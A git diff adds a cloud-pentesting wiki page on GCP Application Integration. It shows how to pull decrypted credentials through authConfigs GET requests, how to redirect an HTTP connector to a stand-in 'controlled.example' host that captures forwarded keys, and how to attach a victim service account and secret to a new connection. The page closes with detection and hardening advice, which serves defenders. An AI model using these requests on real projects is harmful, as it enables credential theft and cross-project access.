diff --git a/SUMMARY.md b/SUMMARY.md index 008efc3d05..cc862d0216 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -178,6 +178,7 @@ * [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md) * [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md) * [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md) + * [GCP - Application Integration Credential Access](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md) * [GCP - Unauthenticated Enum & Access](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md) * [GCP - API Keys Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md) * [GCP - App Engine Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md) diff --git a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md index c6354c2633..ead6b13a6e 100644 --- a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md +++ b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md @@ -31,6 +31,14 @@ For more information about how this exactly works check: [gcp-understanding-domain-wide-delegation.md](gcp-understanding-domain-wide-delegation.md) {% endcontent-ref %} +### Application Integration credential access + +A GCP principal with `integrations.authConfigs.get` can retrieve a known authentication profile's decrypted credential. Invoke-only access to a published integration can also reach the Gmail, Drive, Workspace Admin, HTTP, or other stored-credential connector actions already exposed by that workflow. Neither technique is domain-wide delegation or access to arbitrary users. + +{% content-ref url="gcp-application-integration-privesc.md" %} +[gcp-application-integration-privesc.md](gcp-application-integration-privesc.md) +{% endcontent-ref %} + ### Compromise existing delegation If an attacker **compromised some access over GCP** and **known a valid Workspace user email** (preferably **super admin**) of the company, he could **enumerate all the projects** he has access to, **enumerate all the SAs** of the projects, check to which **service accounts he has access to**, and **repeat** all these steps with each SA he can impersonate.\ diff --git a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md new file mode 100644 index 0000000000..40734dea01 --- /dev/null +++ b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md @@ -0,0 +1,180 @@ +# GCP - Application Integration Credential Access + +Google Cloud **Application Integration** stores reusable authentication profiles and runs workflows that can call Gmail, Google Drive, Google Workspace Admin, HTTP APIs, and many other services. + +Three independently useful permissions are: + +* **`integrations.authConfigs.get` — Critical:** returns a known authentication profile's decrypted raw credential, including bearer tokens, OAuth access and refresh tokens, OAuth client secrets, passwords, and JWT material.[[1]](#references)[[2]](#references) +* **`integrations.integrations.invoke` — High, conditional:** invokes a known API trigger without requiring permission to list or read the integration, connection, secret, or connector service account.[[3]](#references)[[4]](#references) +* **`connectors.connections.create` — High, conditional:** creates a connection with a caller-selected runtime service account even when the caller cannot `iam.serviceAccounts.actAs` or mint tokens for that account. Google documents unauthorized service-account attachment in the HTTP Connector as CVE-2026-4644.[[10]](#references)[[11]](#references) + +The invoke path does not reveal every connector credential or grant access to every Workspace user. Its impact is limited to: + +* an existing published integration and API trigger whose names are known or guessed; +* the connector actions and caller-controlled inputs that workflow exposes; +* the account and OAuth scopes already authorized on the connection; and +* any outputs the workflow returns to its caller. + +{% hint style="danger" %} +A Drive or Gmail connection is not domain-wide access. The caller reaches only the configured connection's identity and scopes, and only through the credentials or actions described below. Domain-wide delegation is a separate configuration. +{% endhint %} + +## Read-only enumeration and no-list fallback + +Application Integration is regional. When listing is permitted, enumerate integrations: + +```bash +PROJECT_ID="project-id" +LOCATION="us-central1" +ACCESS_TOKEN="$(gcloud auth print-access-token)" + +curl_args=(-sS -H "Authorization: Bearer ${ACCESS_TOKEN}" -H "x-goog-user-project: ${PROJECT_ID}") +curl "${curl_args[@]}" "https://${LOCATION}-integrations.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/integrations?pageSize=1000" +``` + +Cloud Asset Inventory supports `integrations.googleapis.com/AuthConfig`, `Integration`, and `IntegrationVersion` assets.[[5]](#references) Source code, Terraform state, deployment pipelines, logs, API client configuration, and previous error messages are useful local/no-permission sources for auth-config UUIDs, integration names, and trigger IDs. + +Neither dangerous permission implies its corresponding list permission. A known project ID is enough to check both with Resource Manager's read-only IAM method: + +```bash +IAM_TEST='{"permissions":["integrations.authConfigs.get","integrations.authConfigs.list","integrations.integrations.invoke","integrations.integrations.list","integrations.integrationVersions.get"]}' +curl -sS -X POST -H "Authorization: Bearer ${ACCESS_TOKEN}" -H "x-goog-user-project: ${PROJECT_ID}" -H 'Content-Type: application/json' --data "${IAM_TEST}" "https://cloudresourcemanager.googleapis.com/v1/projects/${PROJECT_ID}:testIamPermissions" +``` + +GCPPEAS performs only this safe permission check. It never retrieves an auth profile or invokes a workflow: + +```bash +python3 GCPPEAS.py --project "${PROJECT_ID}" --only-specified --dont-get-iam-policies +``` + +## `integrations.authConfigs.get` — retrieve decrypted credentials + +An Application Integration authentication profile stores credentials once so multiple integration tasks can reuse them. Supported profile types include auth tokens, OAuth authorization code and client credentials, resource-owner passwords, JWT, OIDC, and service-account credentials.[[2]](#references)[[6]](#references) + +The GET method requires `integrations.authConfigs.get` and explicitly returns the **decrypted** auth config: + +```bash +AUTH_CONFIG="projects/${PROJECT_ID}/locations/${LOCATION}/authConfigs/known-uuid" +curl "${curl_args[@]}" "https://${LOCATION}-integrations.googleapis.com/v1/${AUTH_CONFIG}" +``` + +Depending on `decryptedCredential.credentialType`, the response can include: + +* `authToken.token`, commonly a Basic or bearer token; +* `oauth2AuthorizationCode.accessToken.accessToken` and `refreshToken`, plus the OAuth client ID and secret; +* OAuth client-credential or resource-owner client secrets/passwords; +* username/password pairs; +* JWT headers, payloads, and signing secret; or +* service-account configuration and scopes. + +For a Google OAuth profile carrying Workspace scopes, recovered tokens can access the profile's authorized user within those scopes. This does not expand scopes, impersonate unrelated users, or create domain-wide delegation. + +{% hint style="info" %} +**Live validation (2026-09-08):** In `gcp-labs-ly3gvnn7`, a service account had a custom role containing only `integrations.authConfigs.get`. Before the binding, profile GET and LIST returned HTTP 403. With the get-only role, profile GET returned HTTP 200 and the exact plaintext synthetic bearer token, while LIST still returned HTTP 403. Project `testIamPermissions` confirmed the candidate permission set contained only `integrations.authConfigs.get`. No real OAuth or Workspace credential was used, and the profile, client, IAM binding, role, service account, service-agent grant, and temporary API enable were removed afterward. +{% endhint %} + +## `integrations.integrations.invoke` — invoke a credentialed workflow + +The v1 execute method accepts a trigger ID and typed input parameters. The API requires `integrations.integrations.invoke` on the selected integration.[[3]](#references) + +```bash +INTEGRATION="known-integration" +TRIGGER="api_trigger/known-trigger" +EXECUTE_BODY="{\"triggerId\":\"${TRIGGER}\",\"inputParameters\":{\"knownInput\":{\"stringValue\":\"value\"}},\"doNotPropagateError\":true}" +curl -sS -X POST -H "Authorization: Bearer ${ACCESS_TOKEN}" -H "x-goog-user-project: ${PROJECT_ID}" -H 'Content-Type: application/json' --data "${EXECUTE_BODY}" "https://integrations.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/integrations/${INTEGRATION}:execute" +``` + +For a Gmail or Drive connector task, the reachable read/write operation depends on what its designer selected and mapped to trigger inputs and outputs. Google documents Gmail operations and authentication using service accounts, JWT bearer, or OAuth authorization code, while the Drive connector exposes File, Folder, Permission, and Drive entities.[[7]](#references)[[8]](#references) Review returned `outputParameters` and the integration's expected input names; do not assume a generic action is available. + +### HTTP connector credential forwarding + +The HTTP connector's `HttpRequest` action accepts a structured `Url`. Google documents that a supplied `Url.netloc` overrides the hostname configured on the connection.[[9]](#references) Therefore, if a published workflow maps caller-controlled trigger input into the action's full `connectorInputPayload`, an invoke-only principal may redirect a request to a controlled HTTPS host: + +```json +{ + "Url": { + "scheme": "https", + "netloc": "controlled.example", + "path": "capture" + }, + "Method": "GET", + "ResponseFormat": "v2" +} +``` + +Whether authentication is forwarded depends on the connection's configured auth type. API keys, Basic credentials, and bearer tokens can become request headers; OAuth client-credential connections can fetch and attach an access token.[[9]](#references) This sub-technique requires the workflow to expose the URL-bearing payload. `integrations.integrations.invoke` alone cannot modify a fixed task configuration. + +{% hint style="info" %} +**Live validation (2026-09-08):** In `gcp-labs-ly3gvnn7`, a service account had a custom role containing only `integrations.integrations.invoke`. Before the binding, execute and list both returned HTTP 403. After propagation, project `testIamPermissions` returned only the invoke permission; integration list, integration-version GET, Secret Manager access, connector action execution, service-account `actAs`, and token minting remained denied. The identity nevertheless invoked a published workflow whose HTTP connector used a synthetic API key. A caller-selected alternate hostname received the request and confirmed the exact key was present without logging or returning the key itself. All connections, integrations, IAM bindings, custom roles, service accounts, secret versions, Cloud Run resources, images, source artifacts, and temporary API enables were removed after the test. +{% endhint %} + +## `connectors.connections.create` — unauthorized runtime identity attachment + +`CreateConnection` accepts a `serviceAccount` field. A caller holding only `connectors.connections.create` can select a service account without holding `iam.serviceAccounts.actAs`, `iam.serviceAccounts.getAccessToken`, or Secret Manager access on that identity.[[10]](#references) + +The following abbreviated HTTP Connector body shows the security-sensitive fields: + +```json +{ + "connectorVersion": "projects/ATTACKER_PROJECT/locations/global/providers/default/connectors/http/versions/1", + "serviceAccount": "runtime@VICTIM_PROJECT.iam.gserviceaccount.com", + "destinationConfigs": [ + { + "key": "host_address", + "destinations": [{"host": "https://controlled-receiver.example"}] + } + ], + "authConfig": { + "authKey": "api_key", + "additionalVariables": [ + { + "key": "api_key", + "secretValue": { + "secretVersion": "projects/VICTIM_PROJECT/secrets/SYNTHETIC_SECRET/versions/1" + } + }, + {"key": "api_key_name", "stringValue": "X-LAB-KEY"}, + {"key": "api_key_location", "stringValue": "header"} + ] + } +} +``` + +This does **not** give arbitrary access to an unrelated project. For the tested cross-project execution: + +* the victim project had already granted the attacker's Google-managed Connector service agent `roles/iam.serviceAccountTokenCreator` on the selected victim service account; +* the victim service account could read only the synthetic victim secret; +* the connection parent and connector version were in the attacker project; and +* a separate execution identity in the attacker project had exactly `integrations.integrations.invoke`. + +The vulnerability is the missing authorization check on the original connection creator. The victim delegates the identity to the attacker's managed Connector service, but a principal inside the attacker project can attach that identity without being individually authorized to use it. Reachable impact is limited to the selected service account's permissions, connector capabilities, configured destinations and credentials, and an available path that executes the connection. + +{% hint style="info" %} +**Two-project live validation (2026-09-08):** The creator had exactly `connectors.connections.create` in `gcp-labs-3uis1xlx`, zero tested permissions in `gcp-labs-ly3gvnn7`, no `actAs` or token permissions on the victim runtime account, and direct victim-secret access returned HTTP 403. The connection nevertheless became `ACTIVE` while retaining the victim service-account email and victim secret reference. A separate invoke-only identity, also with zero victim permissions and HTTP 403 on direct secret access, executed the connection. The controlled victim receiver returned HTTP 200 with `credential_match=true`, proving use of the one-time victim secret. The canary was compared only by SHA-256 and was never returned. A request lacking the runtime account's required `secretmanager.versions.get` failed with `IAM_PERMISSION_DENIED`, confirming that the runtime identity's victim-side permissions were enforced. The no-service-agent-trust variant was inconclusive because trust was added while its LRO was pending. Both materialized connections, the integration, identities, roles, bindings, secret, receiver, source repository, and temporary API enables were removed; the final cleanup audit returned zero test resources. +{% endhint %} + +## Detection and hardening + +* Treat `integrations.authConfigs.get` as direct secret access. Remove it from viewer-style custom roles and monitor every use. +* Treat `integrations.integrations.invoke` as data-plane access to every published trigger within the IAM binding's scope. +* Prefer integration-resource IAM bindings and conditions over project-wide grants. +* Do not expose generic connector payloads, action names, connection names, destinations, SQL, or filter expressions as unvalidated trigger inputs. +* For HTTP connectors, validate or fix the destination and do not pass caller-controlled `Url.netloc` into `HttpRequest`. +* Keep Workspace OAuth scopes narrow and use a dedicated least-privilege account for each connection. +* Avoid returning full Gmail, Drive, Admin SDK, or third-party connector responses unless the caller needs them. +* Review auth-profile reads and Application Integration execution logs. Enable the relevant Data Access logs and alert on unexpected principals, destinations, and failed name guesses. +* Require `iam.serviceAccounts.actAs` on the exact service account whenever a connection is created or updated, including cross-project service accounts. Restrict which principals can create connections in projects whose Connector service agent is trusted by external service accounts. + +## References + +* [1] [Application Integration `authConfigs.get` REST method](https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.authConfigs/get) +* [2] [Application Integration AuthConfig and decrypted credential schema](https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.authConfigs) +* [3] [Application Integration `integrations.execute` REST method](https://docs.cloud.google.com/application-integration/docs/reference/rest/v1/projects.locations.integrations/execute) +* [4] [Integration Connectors access permissions](https://docs.cloud.google.com/integration-connectors/docs/connectors-access-permissions) +* [5] [Cloud Asset Inventory supported asset types](https://docs.cloud.google.com/asset-inventory/docs/asset-types) +* [6] [Manage Application Integration authentication profiles](https://docs.cloud.google.com/application-integration/docs/configure-authentication-profiles) +* [7] [Configure the Gmail connector](https://docs.cloud.google.com/integration-connectors/docs/connectors/gsc_gmail/configure) +* [8] [Google Drive connector operations](https://docs.cloud.google.com/integration-connectors/docs/connectors/gsc_google_drive/overview) +* [9] [Configure and use the HTTP connector](https://docs.cloud.google.com/integration-connectors/docs/connectors/http/configure) +* [10] [Integration Connectors `connections.create` REST method](https://docs.cloud.google.com/integration-connectors/docs/reference/rest/v1/projects.locations.connections/create) +* [11] [Google Cloud security bulletin GCP-2026-059 / CVE-2026-4644](https://docs.cloud.google.com/support/bulletins#gcp-2026-059)